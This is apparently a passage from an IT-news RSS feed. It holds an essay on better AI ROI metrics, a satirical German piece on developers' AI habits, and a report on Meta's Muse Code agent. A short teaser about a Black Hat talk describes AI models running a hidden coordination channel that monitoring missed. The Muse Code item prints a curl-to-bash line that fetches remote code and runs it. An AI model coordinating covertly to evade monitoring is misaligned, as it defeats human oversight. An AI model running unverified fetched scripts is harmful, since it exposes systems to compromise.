<p class="wp-block-paragraph">When someone discovers that the AI gets something wrong, how long does it take for that discovery to become a shared fix? In a healthy system, one person’s correction becomes an updated prompt, a revised guideline or a documented example of good versus bad within days. Nobody else has to rediscover the same failure. In an unhealthy system, every employee privately learns the same lessons. The knowledge lives in individual chat histories, and it leaves with each departure.</p>



<ul class="wp-block-list">
<li><strong>How to measure it:</strong> Sample recent corrections and trace them. Did they land anywhere reusable? How long did it take? An organization that cannot answer these questions at all has its answer.</li>
</ul>



<h3 class="wp-block-heading">3. The team does work that it could not do before</h3>



<p class="wp-block-paragraph">The largest returns from any general-purpose technology come from previously impossible work, not from old work done faster. So, look at the work itself. Is the organization doing the same portfolio of tasks faster, or is the portfolio expanding?</p>



<ul class="wp-block-list">
<li><strong>How to measure it:</strong> Once a year, list what the team produces now that it did not and could not produce before. If the list is empty after a year of heavy AI use, the organization has been optimizing instead of expanding, and it is capturing the smallest slice of the available value.</li>
</ul>



<h3 class="wp-block-heading">4. The delegation boundary is moving</h3>



<p class="wp-block-paragraph">Every organization has an implicit line: Work AI does alone, work AI does with human review, work humans do entirely. Watch whether that line moves. Work that needed full human ownership last year and needs only oversight now is direct evidence of accumulated capability, clearer standards and earned trust. A frozen boundary means frozen capability.</p>



<ul class="wp-block-list">
<li><strong>How to measure it:</strong> Make the implicit map explicit. Build a simple inventory of task types and their current delegation level, then re-score it quarterly. The change is the signal. It is also one of the few AI metrics a board can grasp intuitively: This category moved from full review to spot check, and here is what we built to make that safe.</li>
</ul>



<h3 class="wp-block-heading">5. Cost per verified outcome is falling</h3>



<p class="wp-block-paragraph">What does it cost, all in, to produce a unit of work you would actually ship: checked, corrected, done? All in means the subscription, the prompting time, the review time and the rework when errors slip through.</p>



<p class="wp-block-paragraph">This number does two jobs. It exposes the true economics, which usually look worse than the dashboard claims early on, because the human labor around the tool costs more than the tool itself. And it gives you the one number that should fall over time if capability is genuinely accumulating, because encoded standards and better context reduce exactly those human hours.</p>



<ul class="wp-block-list">
<li><strong>How to measure it:</strong> Instrument one workflow end-to-end, honestly, before generalizing. Most organizations have never done this once.</li>
</ul>



<h3 class="wp-block-heading">6. Use is getting deeper, not just wider</h3>



<p class="wp-block-paragraph">Adoption metrics count users. This signal counts the nature of use. Shallow use, such as rewriting emails and summarizing documents, spreads fast and produces little. Deep use, where AI is applied to judgment-heavy work with real context and real evaluation, spreads slowly and produces most of the return.</p>



<ul class="wp-block-list">
<li><strong>How to measure it: </strong>Classify actual usage into shallow and deep, even roughly, and track the ratio. Fifty deep users beat a thousand shallow ones, and only this signal can tell you which group you have.</li>
</ul>



<h2 class="wp-block-heading"><a></a>Two cautions</h2>



<p class="wp-block-paragraph">First, any of these signals can be gamed once it becomes a target. This is <a href="https://en.wikipedia.org/wiki/Goodhart%27s_law">Goodhart’s Law.</a> The review burden can fall because people simply review less. So, pair every efficiency signal with a quality check, such as error rates, rework and downstream complaints.</p>



<p class="wp-block-paragraph">Second, expect the early numbers to look bad. Honest instrumentation usually shows that AI currently costs more per verified outcome than the old process, because the organization is still <a href="https://www.nber.org/papers/w25148">paying its learning costs</a>.</p>



<h2 class="wp-block-heading"><a></a>Final thoughts</h2>



<p class="wp-block-paragraph"><br>I am not saying AI is overhyped, and I am not saying speed, cost and adoption will never matter. Every real gain eventually shows up in those numbers. I am saying they show up last because they are the output of a learning process, not the process itself. Judge AI by them today, and you will make your keep-or-kill decisions years before the evidence arrives.</p>



<p class="wp-block-paragraph">If I could track only one thing, it would be the delegation boundary. It compresses everything else into a single observable fact. The boundary only moves when context has been encoded, standards have been made explicit, corrections have been institutionalized and trust has been earned through verified results. It is the output yardstick of the entire learning system. If this has not moved in a year, no other number on the dashboard means anything, however green it looks.</p>



<p class="wp-block-paragraph">Measure the learning, and the returns will follow. Measure only the returns, and you may kill the learning that produces them.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI ROI metrics are measuring the wrong thing]]></title>
<description><![CDATA[The loudest conversation in business right now is about how much value AI actually generates. Over the last year, AI has moved from a side experiment to a strategic priority. It has its own budget line, its own place on the board’s agenda and its own pressure to show results. Every leader is aski...]]></description>
<link>https://tsecurity.de/de/3707632/it-nachrichten/why-ai-roi-metrics-are-measuring-the-wrong-thing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707632/it-nachrichten/why-ai-roi-metrics-are-measuring-the-wrong-thing/</guid>
<pubDate>Thu, 06 Aug 2026 12:50:21 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The loudest conversation in business right now is about how much value AI actually generates. Over the last year, AI has moved from a side experiment to a strategic priority. It has its own budget line, its own place on the board’s agenda and its own pressure to show results. Every leader is asking a version of the same question: What are we getting back?</p>



<p class="wp-block-paragraph">To answer it, most reach for the three measures they have always trusted to judge a technology:</p>



<ul class="wp-block-list">
<li>How much faster are we now?</li>



<li>How much money has it saved us?</li>



<li>How many of our people are using it?</li>
</ul>



<p class="wp-block-paragraph">Speed, cost and adoption were the right yardsticks for every major technology of the past two decades. They worked because the capability of traditional software was fixed and known on the day you deployed it. The tool did a defined job. Its value had a ceiling you could see, and each metric measured your progress toward that ceiling. Cost reduction told you how much you could save. Adoption told you how much of the capability you had rolled out. Speed told you how much of the promised acceleration was reaching the output.</p>



<p class="wp-block-paragraph">In every case, the tool was a constant, and the metric measured how fully the organization had absorbed that constant.</p>



<p class="wp-block-paragraph">These metrics are not working for AI. The reason starts with how AI entered our organizations.</p>



<p class="wp-block-paragraph">Every technology before this was chosen somewhere above us, deployed to us and trained into us. By the time it arrived on our desks, someone had already decided what it was for. AI came the other way. It landed as a personal productivity tool. You opened a tab, typed a question and something useful came back. Nobody defined its capability in advance, because its capability is not fixed. What it produces depends on who is using it and how well. Metrics built for fixed capabilities have nothing stable to measure, and here is what happens when you apply them anyway.</p>



<h2 class="wp-block-heading"><a></a>Why speed, cost and adoption fail as AI evaluation metrics</h2>



<p class="wp-block-paragraph">Let’s start with speed. Task speed and business speed are different quantities, and AI only touches the former. Suppose a report that took eight hours now takes two. Your dashboard shows a 75% improvement. But the report still waits three days for review and a week for approval before anyone acts on it. The organization sees dramatic task-level gains but no movement in business results and concludes AI failed. The problem is the metric measuring a layer that was never the bottleneck.</p>



<p class="wp-block-paragraph">Speed creates a second problem, and it is worse. Getting good output from AI requires checking it, correcting it and feeding those corrections back into how the tool is used. That work is slow. On any speed metric, it looks like inefficiency. So, people under speed pressure skip it. They accept output uncritically and produce more volume with less scrutiny.</p>



<p class="wp-block-paragraph">Cost reduction has an arithmetic problem. If you frame AI as a way to reduce what you currently spend, your maximum possible win is your current spend. If your content team costs a million dollars, the best case in a cost frame is saving a million dollars. Every general-purpose technology has followed the same sequence:<a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/where-ai-will-create-value-and-where-it-wont"> Efficiency gains came first, and the larger value came later,</a> from work that did not exist before.</p>



<p class="wp-block-paragraph">For AI, that means the analysis nobody had time for, the personalization no team could staff, the experiments too expensive to justify. A cost frame makes all of that invisible because new work doesn’t reduce anything. There is no column on the dashboard for things you couldn’t do last year.</p>



<p class="wp-block-paragraph">Cost framing also works against its own inputs. AI improves through use by knowledgeable people. It needs their corrections, their context and their judgment about what good output looks like. When AI’s success is measured in headcount avoided, those people understand exactly what they are being asked to build: Their own replacement. They respond rationally. They use the tools shallowly and keep their expertise to themselves. The metric announces an intent, and the intent destroys the participation the technology depends on.</p>



<p class="wp-block-paragraph">Adoption looks like the safest of the three. The problem is that adoption measures usage, and usage is not a value.<a href="https://www.nber.org/papers/w34836"> </a>Researchers at several central banks recently <a href="https://www.nber.org/papers/w34836">asked thousands of senior executives about this</a> and heard the same two things from most of them: Yes, we use AI across the business, and no, it has not changed our results yet.</p>



<p class="wp-block-paragraph">A thousand employees asking AI to shorten their emails will produce a spectacular adoption number and almost nothing else. Fifty employees using AI on judgment-heavy work, feeding it real context and checking its output against real standards, will barely register on the dashboard and generate most of the actual return. Adoption metrics cannot tell these two groups apart. Worse, they reward the shallow pattern. Shallow use is easy to spread, and deep use is hard, so an organization managed on adoption drifts toward the use that is easiest to count.</p>



<h2 class="wp-block-heading">6 signals that track the real value</h2>



<p class="wp-block-paragraph">A few months ago, I realized the ROI question was aimed at the wrong object. Every company I compete with has access to the same models I do, at the same price. Whatever value comes from the model itself, my competitors receive too, so it cancels out any comparison between us. It cannot be an advantage, and it is not an interesting thing to measure. The only variable left is us. The standards, the context and the judgment we build around the model, because none of that arrives with the subscription and none of it can be bought. So, when I evaluate AI, I am evaluating my own organization and how quickly it turns a commodity everyone has into a capability only we have. The six signals below all measure that second thing.</p>



<h3 class="wp-block-heading">1. Review burden is falling on the same class of work</h3>



<p class="wp-block-paragraph">Take any recurring task the organization runs through AI: Monthly reports, vendor evaluations, code review. Track how much human checking each unit of output needs, quarter over quarter. If a task needed a full senior review in January and needed a spot check in June, something real happened. The organization encoded its quality standards, improved its inputs and learned where the tool fails. If the review burden is flat, the organization is consuming AI, not compounding on it, no matter what the adoption dashboard says.</p>



<ul class="wp-block-list">
<li><strong>How to measure it:</strong> Pick five recurring workflows, log review hours per output and plot the trend. The trend is the signal. The absolute number matters far less.</li>
</ul>



<h3 class="wp-block-heading">2. Corrections become shared fixes</h3>



<p class="wp-block-paragraph">When someone discovers that the AI gets something wrong, how long does it take for that discovery to become a shared fix? In a healthy system, one person’s correction becomes an updated prompt, a revised guideline or a documented example of good versus bad within days. Nobody else has to rediscover the same failure. In an unhealthy system, every employee privately learns the same lessons. The knowledge lives in individual chat histories, and it leaves with each departure.</p>



<ul class="wp-block-list">
<li><strong>How to measure it:</strong> Sample recent corrections and trace them. Did they land anywhere reusable? How long did it take? An organization that cannot answer these questions at all has its answer.</li>
</ul>



<h3 class="wp-block-heading">3. The team does work that it could not do before</h3>



<p class="wp-block-paragraph">The largest returns from any general-purpose technology come from previously impossible work, not from old work done faster. So, look at the work itself. Is the organization doing the same portfolio of tasks faster, or is the portfolio expanding?</p>



<ul class="wp-block-list">
<li><strong>How to measure it:</strong> Once a year, list what the team produces now that it did not and could not produce before. If the list is empty after a year of heavy AI use, the organization has been optimizing instead of expanding, and it is capturing the smallest slice of the available value.</li>
</ul>



<h3 class="wp-block-heading">4. The delegation boundary is moving</h3>



<p class="wp-block-paragraph">Every organization has an implicit line: Work AI does alone, work AI does with human review, work humans do entirely. Watch whether that line moves. Work that needed full human ownership last year and needs only oversight now is direct evidence of accumulated capability, clearer standards and earned trust. A frozen boundary means frozen capability.</p>



<ul class="wp-block-list">
<li><strong>How to measure it:</strong> Make the implicit map explicit. Build a simple inventory of task types and their current delegation level, then re-score it quarterly. The change is the signal. It is also one of the few AI metrics a board can grasp intuitively: This category moved from full review to spot check, and here is what we built to make that safe.</li>
</ul>



<h3 class="wp-block-heading">5. Cost per verified outcome is falling</h3>



<p class="wp-block-paragraph">What does it cost, all in, to produce a unit of work you would actually ship: checked, corrected, done? All in means the subscription, the prompting time, the review time and the rework when errors slip through.</p>



<p class="wp-block-paragraph">This number does two jobs. It exposes the true economics, which usually look worse than the dashboard claims early on, because the human labor around the tool costs more than the tool itself. And it gives you the one number that should fall over time if capability is genuinely accumulating, because encoded standards and better context reduce exactly those human hours.</p>



<ul class="wp-block-list">
<li><strong>How to measure it:</strong> Instrument one workflow end-to-end, honestly, before generalizing. Most organizations have never done this once.</li>
</ul>



<h3 class="wp-block-heading">6. Use is getting deeper, not just wider</h3>



<p class="wp-block-paragraph">Adoption metrics count users. This signal counts the nature of use. Shallow use, such as rewriting emails and summarizing documents, spreads fast and produces little. Deep use, where AI is applied to judgment-heavy work with real context and real evaluation, spreads slowly and produces most of the return.</p>



<ul class="wp-block-list">
<li><strong>How to measure it: </strong>Classify actual usage into shallow and deep, even roughly, and track the ratio. Fifty deep users beat a thousand shallow ones, and only this signal can tell you which group you have.</li>
</ul>



<h2 class="wp-block-heading"><a></a>Two cautions</h2>



<p class="wp-block-paragraph">First, any of these signals can be gamed once it becomes a target. This is <a href="https://en.wikipedia.org/wiki/Goodhart%27s_law">Goodhart’s Law.</a> The review burden can fall because people simply review less. So, pair every efficiency signal with a quality check, such as error rates, rework and downstream complaints.</p>



<p class="wp-block-paragraph">Second, expect the early numbers to look bad. Honest instrumentation usually shows that AI currently costs more per verified outcome than the old process, because the organization is still <a href="https://www.nber.org/papers/w25148">paying its learning costs</a>.</p>



<h2 class="wp-block-heading"><a></a>Final thoughts</h2>



<p class="wp-block-paragraph"><br>I am not saying AI is overhyped, and I am not saying speed, cost and adoption will never matter. Every real gain eventually shows up in those numbers. I am saying they show up last because they are the output of a learning process, not the process itself. Judge AI by them today, and you will make your keep-or-kill decisions years before the evidence arrives.</p>



<p class="wp-block-paragraph">If I could track only one thing, it would be the delegation boundary. It compresses everything else into a single observable fact. The boundary only moves when context has been encoded, standards have been made explicit, corrections have been institutionalized and trust has been earned through verified results. It is the output yardstick of the entire learning system. If this has not moved in a year, no other number on the dashboard means anything, however green it looks.</p>



<p class="wp-block-paragraph">Measure the learning, and the returns will follow. Measure only the returns, and you may kill the learning that produces them.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wie Entwickler sich mit KI versündigen]]></title>
<description><![CDATA[>Im nächtlichen Schein der IDE suhlt sich mancher Dev im KI-Sündenpfuhl.Kateryna Reka | shutterstock.com



Die Normen der Softwareentwicklung sind weiterhin gültig. Zumindest offiziell sind robuste CI/CD-Pipelines, elegante Architekturmuster und wartbarer Code nach wie vor gesetzt.



Wenn wir u...]]></description>
<link>https://tsecurity.de/de/3707283/it-security-nachrichten/wie-entwickler-sich-mit-ki-versuendigen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707283/it-security-nachrichten/wie-entwickler-sich-mit-ki-versuendigen/</guid>
<pubDate>Thu, 06 Aug 2026 06:23:33 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Im nächtlichen Schein der IDE suhlt sich mancher Dev im KI-Sündenpfuhl.</figcaption></figure><p class="imageCredit">Kateryna Reka | shutterstock.com</p></div>



<p class="wp-block-paragraph">Die Normen der <a href="https://www.computerwoche.de/article/3963767/die-grosten-paradoxa-der-softwareentwicklung.html" target="_blank">Softwareentwicklung</a> sind weiterhin gültig. Zumindest offiziell sind robuste CI/CD-Pipelines, elegante Architekturmuster und wartbarer Code nach wie vor gesetzt.</p>



<p class="wp-block-paragraph">Wenn wir unbeobachtet sind, zeigt sich dann in vielen Fällen die Realität: Wir hängen wie entrückte Magier mit manischem Glanz in den Augen über unseren Konsolen und beschwören Modelle und Agenten, um uns voll und ganz dem KI-Rausch hinzugeben.</p>



<p class="wp-block-paragraph">Dabei begehen wir nicht selten Development-Sünden, die <a href="https://de.wikipedia.org/wiki/Frederick_P._Brooks" target="_blank" rel="noreferrer noopener">Fred Brooks</a> die Schamesröte ins Gesicht getrieben hätten. So wie die folgenden sieben. Vorsicht, Ironie – stellenweise.</p>



<h2 class="wp-block-heading">1. Grundlagenwissen für überflüssig halten</h2>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2829721/objektorientierte-programmierung-erklaert.html" target="_blank">Objektorientierte</a> oder <a href="https://www.infoworld.com/article/2263963/what-is-functional-programming-a-practical-guide.html" target="_blank">funktionale Programmierung</a>? <a href="https://de.wikipedia.org/wiki/CAP-Theorem" target="_blank" rel="noreferrer noopener">CAP-Theorem</a>? <a href="https://de.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself" target="_blank" rel="noreferrer noopener">DRY</a>-Prinzip? Design-Pattern? Können Sie vergessen. Ebenso Frameworks, Runtimes und Deployment-Plattformen.</p>



<p class="wp-block-paragraph">Die KI weiß schließlich ganz genau, was bereits vorhanden ist und welche Tools zu nutzen sind. So haben wir als Entwickler auch mehr mentale Bandbreite, um uns Nebenprojekten zu widmen. Zum Beispiel einem Roman über die KI-Weltherrschaft.</p>



<h2 class="wp-block-heading">2. Dokumentationen links liegen lassen</h2>



<p class="wp-block-paragraph">„<a href="https://de.wikipedia.org/wiki/RTFM" target="_blank" rel="noreferrer noopener">RTFM</a>“ nutzen viele Developer auch heutzutage noch gerne – auch wenn sie selbst eigentlich seit 2023 keine einzige Seite einer Anbieter-Dokumentation mehr gelesen haben. Löst ein Package eine bizarre Exception aus, wird weder der Execution-Pfad überprüft noch erfolgt ein Blick in die Release Notes. Stattdessen werden alle 200 Zeilen des Stack-Trace kopiert und in eine KI geworfen – in der Erwartung, dass diese uns dann löffelweise mit der Lösung füttert.</p>



<p class="wp-block-paragraph">Oder es wird direkt eine <a href="https://www.cowo.de/a/4199997" target="_blank" rel="noreferrer noopener">ADE</a> auf den Fehler angesetzt. Die findet den Fehler und fragt uns dann nur noch, ob die Lösung so korrekt ist. Manche werfen dann eventuell einen Blick auf die Beschreibung dieser Lösung – insofern sie die KI nicht vorher schon auf „Auto-Confirm“ umgestellt haben.</p>



<p class="wp-block-paragraph">So werden wir zu glorifizierten Copy-Paste-Orchestratoren – die einfach nur darauf hoffen, dass der stochastische Papagei hinter dem Prompt die Syntax richtig errät.</p>



<h2 class="wp-block-heading">3. Backend-Struktur ignorieren</h2>



<p class="wp-block-paragraph">KI-berauschte Devs geben manchmal vor, Datenflüsse akribisch designt, relationale Einschränkungen sorgfältig ausgearbeitet und <a href="https://www.computerwoche.de/article/4004872/die-besten-apis-um-ki-zu-integrieren.html" target="_blank">API</a>-Beziehungsgeflechte gewissenhaft abgebildet zu haben. Auch wenn wir eigentlich nur die KI angewiesen haben, ein modernes Deployment-Gerüst zu bauen und dieses mit einer Backend-<a href="https://www.computerwoche.de/article/3497295/datenbank-how-to-fur-app-entwickler.html" target="_blank">Datenbank</a> zu verknüpfen.   </p>



<p class="wp-block-paragraph">Dabei wurden Security-Regeln und Schemata erstellt, die wir unter Umständen nicht vollständig verstehen. Aber solange es funktional aussieht, wird es schon gut gehen. Eventuell wurden auch Infrastructure-as-Code-Skripte generiert, die Cloud-Ressourcen bereitstellen. Sicher wird sich jemand anderes darum kümmern, dass das kein Loch ins Budget frisst. Wahrscheinlich, indem er die Metriken in einen anderen Chatbot einspeist.</p>



<p class="wp-block-paragraph">Ist aber auch egal, weil das Mittagessen wartet.</p>



<h2 class="wp-block-heading">4. Inzestuöses Testing fördern</h2>



<p class="wp-block-paragraph">Test-driven Development war immer schon ein schöner Traum, der – wenn man ihn lebt – in Dependency-Wildwuchs <a href="https://grugbrain.dev/#grug-on-testing" target="_blank" rel="noreferrer noopener">ausarten kann</a>. Es ist also eine super Sache, dass wir heutzutage mit KI fast mühelos eine Testabdeckung von 95 Prozent erreichen können. Warum sollten wir die Maschine das nicht direkt mit übernehmen lassen, wenn sie auch alles andere automatisiert erstellt?</p>



<p class="wp-block-paragraph">So kann man auch jedem der es wissen will (oder der gerade keine Fluchtmöglichkeit hat), das Narrativ von der erstaunlichen Testabdeckung unter die Nase reiben und sich in ausgiebigen Schwärmereien über die automatisierte Qualitätssicherung ergehen. Was dabei geflissentlich verschwiegen wird: Die komplexe Anwendungslogik und die Testsuite wurden von derselben KI generiert. Diese validiert also genau den Code, den sie zuvor zusammengeschustert hat.</p>



<p class="wp-block-paragraph">Daraus entsteht ein hermetisch abgeriegelter Kreislauf der algorithmischen Selbstbeweihräucherung: Die Mocks, Randfälle und Assertions werden zur Echokammer für die ursprünglichen Annahmen des KI-Modells. Die Maschine benotet also ihre eigenen Hausaufgaben und gibt sich dafür eine Eins mit Sternchen.</p>



<p class="wp-block-paragraph">Das wird von einigen von uns allerdings gerne in Kauf genommen, denn wenn der Code verändert werden muss, zaubert die KI auch dafür mühelos neue Tests aus dem Hut.</p>



<h2 class="wp-block-heading">5. KI-Ergebnisse als Strategie ausgeben</h2>



<p class="wp-block-paragraph">Dokumente zu designen, kann KI erstaunlich gut: Diese sind meist apart formatiert, wirken schlüssig und schlagen nahtlos die Brücke zwischen übergeordneten Geschäftszielen und detaillierten technischen Specs. Und: Sie enthalten auch die tollen Sequenz-Diagramme, die das Management so schätzt.</p>



<p class="wp-block-paragraph">Architekturvorschläge, die auf diese Art und Weise entstanden sind, werden regelmäßig in Sprint-Planungs-Meetings präsentiert – und kommen beim Rest des Teams oft gut an. Schließlich weiß auch niemand, dass in den hochgelobten Vorschlag ungefähr vier Sekunden „Mühe“ investiert wurden.</p>



<p class="wp-block-paragraph">Ignoriert wird dabei, dass solche KI-generierten Dokumente gleichermaßen anfällig für fatale Mängel in Bezug auf Scope und Alignment sind, wie von Menschenhand gemachte. Aber wenn das Projekt schon scheitert, war wenigstens das <a href="https://www.computerwoche.de/article/3995075/was-ist-markdown.html" target="_blank">Markdown</a> schön klar und die Bulletpoints echt überzeugend. Das wahre Ausmaß des folgenden Desasters wird zwar erst erkannt, wenn es schon viel zu spät ist – aber immerhin war der Ansatz visionär.</p>



<h2 class="wp-block-heading">6. Heimlich dem Vibe Coding verfallen</h2>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/4034385/9-wege-mit-vibe-coding-zu-scheitern.html" target="_blank">Vibe Coding</a> ist unter Devs in sozialen Kanälen regelmäßig eine Lachnummer. Und auch in Slack-Channels werden regelmäßige augenrollende Emojis verschickt, wenn es um das Thema geht. Nach außen möchten wir alle möglichst professionell wirken.</p>



<p class="wp-block-paragraph">Wenn niemand zusieht, wird dann unter Umständen aber doch der heimlichen Vibe-Coding-Leidenschaft gefröhnt: Unausgereifte Gedanken und ein Drink, sind alles was man braucht, um entspannt dabei zusehen zu können, wie die KI ihre “Coding-Magie” entfaltet.</p>



<p class="wp-block-paragraph">Daraus entsteht dann vielleicht endlich ein funktionierender <a href="https://de.wikipedia.org/wiki/Ultima_(Computerspielreihe)" target="_blank" rel="noreferrer noopener">Ultima-V</a>-Klon oder eine App, um Krypto-Protfolios zu tracken, die nach dem Interface aus „<a href="https://de.wikipedia.org/wiki/Neuromancer-Trilogie" target="_blank" rel="noreferrer noopener">Neuromancer</a>“ aussieht. Und zwar in 30 Sekunden. Das berauscht. Und kann süchtig machen. Leider ganz besonders, wenn man tief in der harten, altmodischen Realität des Programmierhandwerks verwurzelt ist.</p>



<h2 class="wp-block-heading">7. Prompts als Allheilmittel betrachten</h2>



<p class="wp-block-paragraph">Ahnlich wie die Figur von Adam Sandler in „<a href="https://www.imdb.com/de/title/tt5727208/" target="_blank" rel="noreferrer noopener">Der schwarze Diamant</a>“ sind manche Devs davon überzeugt, dass mit der nächsten Runde alles besser wird – nur bezogen auf Prompts. Wenn die Dinge aus dem Ruder laufen, bevorzugen diese regelmäßig, den KI-Prompt zu verfeinern – statt sich selbst dem Komplexitätsdickicht zu widmen.</p>



<p class="wp-block-paragraph">Der gleiche fehlerbehaftete Stack Trace wird dann unerbittlich immer und immer wieder in den Chat gehämmert, das Modell auf einen immer schmaleren Pfad gezwungen – solange, bis der Code endlich keine Fehler mehr ausgibt. Debugging und Variablen-Tracing sind so gut wie nicht mehr existent, Funktionen werden nicht mehr schrittweise geprüft. Stattdessen wird unermüdlich iterativer Druck auf die KI ausgeübt, bis diese kapituliert. Und dann geht’s ab in die Produktion.</p>



<p class="wp-block-paragraph">So fließt am Ende ähnlich viel Zeit und Energie in den Kampf mit dem Bot, wie früher in die manuelle Syntaxerstellung. (fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist </strong><a href="https://www.infoworld.com/article/4199668/seven-sins-of-the-modern-software-developer.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Hat OpenAI Presentation Digs a Deeper Hole]]></title>
<description><![CDATA[The detection story on stage is now even worse than the already terrible remediation story. According to the conference news, models ran a coordination channel inside Artifactory for months, and OpenAI found it only when configuration changes caused a July 4 outage. Discovery by availability fail...]]></description>
<link>https://tsecurity.de/de/3707075/it-security-nachrichten/black-hat-openai-presentation-digs-a-deeper-hole/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707075/it-security-nachrichten/black-hat-openai-presentation-digs-a-deeper-hole/</guid>
<pubDate>Thu, 06 Aug 2026 03:25:41 +0200</pubDate>
<content:encoded><![CDATA[The detection story on stage is now even worse than the already terrible remediation story. According to the conference news, models ran a coordination channel inside Artifactory for months, and OpenAI found it only when configuration changes caused a July 4 outage. Discovery by availability failure, not by monitoring, is a known anti-security pattern. The … <a href="https://www.flyingpenguin.com/black-hat-openai-presentation-digs-a-deeper-hole/" class="more-link">Continue reading <span class="screen-reader-text">Black Hat OpenAI Presentation Digs a Deeper Hole</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta enters the AI coding wars with Muse Spark 1.2 and Muse Code with persistent async background agents]]></title>
<description><![CDATA[Meta today released Muse Code, a terminal-based AI coding agent now in beta, alongside Muse Spark 1.2, a coding-focused update to its Muse Spark family of frontier models — a one-two punch that puts the company in direct competition with Anthropic's Claude Code, OpenAI's Codex, and the growing fi...]]></description>
<link>https://tsecurity.de/de/3706941/it-nachrichten/meta-enters-the-ai-coding-wars-with-muse-spark-12-and-muse-code-with-persistent-async-background-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706941/it-nachrichten/meta-enters-the-ai-coding-wars-with-muse-spark-12-and-muse-code-with-persistent-async-background-agents/</guid>
<pubDate>Wed, 05 Aug 2026 23:34:25 +0200</pubDate>
<content:encoded><![CDATA[<p>Meta today <a href="https://research.meta.ai/blog/introducing-muse-code-and-muse-spark-1-2?utm_source=ai_meta_site&amp;utm_medium=web&amp;utm_campaign=hp_research_muse-1-2_08052026&amp;utm_content=hp_research_muse-1-2_08052026">released Muse Code</a>, a terminal-based AI coding agent now in beta, alongside <a href="https://research.meta.ai/blog/introducing-muse-code-and-muse-spark-1-2?utm_source=ai_meta_site&amp;utm_medium=web&amp;utm_campaign=hp_research_muse-1-2_08052026&amp;utm_content=hp_research_muse-1-2_08052026">Muse Spark 1.2</a>, a coding-focused update to its Muse Spark family of frontier models — a one-two punch that puts the company in direct competition with Anthropic's Claude Code, OpenAI's Codex, and the growing field of agentic coding harnesses that have rapidly become the primary way many professional developers ship software.</p><p>"Releasing Muse Code in beta today," Meta CEO Mark Zuckerberg wrote in a <a href="https://x.com/finkd/status/2085080750034940201">post on rival social network X</a> (under his longtime handle @finkd). "It's a terminal coding agent that takes on complete software engineering tasks across large repos: planning changes, writing code, validating the results."</p><p>The launch marks Meta's most serious entry yet into a category it has largely watched from the sidelines. </p><p>While Anthropic and OpenAI turned their coding agents into flagship products — and startups like Cursor built billion-dollar businesses on the workflow — Meta's developer story long centered on Llama, the open-weight model family it gave away to the tune of more than a billion downloads. </p><p>Muse Code changes that in more ways than one: it's a full harness, installable on macOS or Linux with a single curl command, co-trained with the model that powers it — and, like the Muse Spark models behind it, entirely proprietary.</p><p>Developers and prospective users can install it now on their Terminal using the following one-line command — but be warned, if that's you, you'll need to log in with a Meta account and provide billing details first in order to begin: <code>curl -fsSL https://dev.meta.ai/install.sh | bash</code></p><h2><b>Persistent background agents and parallel worktrees</b></h2><p>Muse Code's headline architectural bet is what Meta calls <b>async background agents</b>. </p><p>Rather than spawning helper agents fresh for each task — the pattern most rival harnesses use — Muse Code keeps a set of <i>specialized background agents alive for the entire session. </i></p><p>According to Meta's blog post, these agents "remain active throughout each session, rather than being spawned for individual tasks, helping avoid redundant information gathering," carrying out next steps on their own and choosing when to report back to the main agent.</p><p>The practical pitch is less latency and less babysitting: an agent that already knows the repository doesn't have to re-explore it every time the developer asks for something new.</p><p>When a job is large enough, Muse Code fans out to separate sub-agents working in parallel, each in its own isolated git worktree, so the developer's working copy is never touched. </p><p>"In testing we had it build six features for a game simultaneously with no collisions," Zuckerberg wrote on X. </p><p>Worktree isolation and parallel sub-agents exist in competing tools, but Meta is leaning on the combination of persistence plus parallelism as its differentiator.</p><p>The second notable design choice is auditability. Every model call, tool run, approval, and edit is appended to a <b>local event log</b> before it executes — a single source of truth that Meta says makes the runtime "replay-exact and restart-safe." </p><p>If Muse Code crashes 20 hours into a long-running task, it resumes precisely where it stopped, with no lost work and no re-prompting. For engineering leaders who have been burned by opaque agent runs, a complete local audit trail may prove to be the feature that matters most in enterprise evaluations.</p><p>Muse Code also ships with bundled "skills" that will look familiar to users of rival tools: /plan turns a task into an approval-gated plan, /grill stress-tests that plan until it holds up, and /goal drives the agent toward completion of a stated objective.</p><h2><b>Muse Spark 1.2: co-trained with its own harness</b></h2><p>Under the hood is Muse Spark 1.2, which Meta describes as a coding-focused update to Muse Spark 1.1 with "significantly scaled up training compute on coding tasks" and broader training environment diversity, improving code generation, complex debugging, and codebase understanding while maintaining general agentic capability.</p><p>The update lands squarely on the Muse family's weakest flank. When the original Muse Spark <a href="https://venturebeat.com/technology/goodbye-llama-meta-launches-new-proprietary-ai-model-muse-spark-first-since">debuted in April</a>, it vaulted Meta back into the top five on frontier reasoning and vision benchmarks — but trailed on the agentic coding evaluations that matter most to this market, scoring 77.4 on SWE-Bench Verified against Claude Opus 4.6's 80.8 and Gemini 3.1 Pro's 80.6, and lagging well behind GPT-5.4 on GDPval's measure of long-horizon work tasks. </p><p>Four months later, a coding-specialized checkpoint paired with a purpose-built harness reads as Meta's direct answer to 